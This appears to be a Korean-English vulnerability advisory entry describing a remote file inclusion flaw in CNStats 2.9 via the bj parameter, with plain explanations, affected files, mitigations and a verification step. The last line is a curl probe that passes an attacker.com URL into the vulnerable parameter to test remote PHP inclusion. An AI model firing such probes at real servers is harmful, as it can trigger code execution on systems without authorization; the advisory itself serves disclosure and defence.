🇰🇷 한글 설명
CNStats 2.9의 reports/ 디렉토리의 who_r.php와 who_s.php 파일에서 bj 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 악의적인 URL을 bj 파라미터에 입력하여 원격 서버의 PHP 코드를 실행할 수 있으며, 이를 통해 웹 서버의 권한으로 임의의 명령 실행이 가능합니다.
💡 쉬운 설명
CNStats 통계 프로그램이 외부 URL에서 코드를 검증 없이 받아들여 실행하는 문제가 있습니다. 해커가 악의적인 링크를 전달하면 서버에서 명령을 실행할 수 있게 됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in CNStats 2.9 allow remote attackers to execute arbitrary PHP code via a URL in the bj parameter to (1) who_r.php or (2) who_s.php in reports/.
📍 영향받는 시스템
CNStats 버전 2.9 및 이전 버전 (reports/who_r.php, reports/who_s.php)
⚔️ 공격 벡터
bj 매개변수에 원격 파일 URL을 삽입하여 include() 함수로 원격 코드 실행
🛡️ 대응 방법
최신 버전으로 업그레이드, allow_url_fopen 비활성화, 입력값 검증 및 allow_url_include 비활성화
🔧 검증 코드
200 응답이면 파일 접근 가능, 500 오류나 Warning 메시지는 RFI 시도 차단 여부 판단 (승인된 환경에서만 테스트)
curl -I 'http://target/reports/who_r.php?bj=http://attacker.com/test.php' 2>&1 | grep -E '200|500|Warning'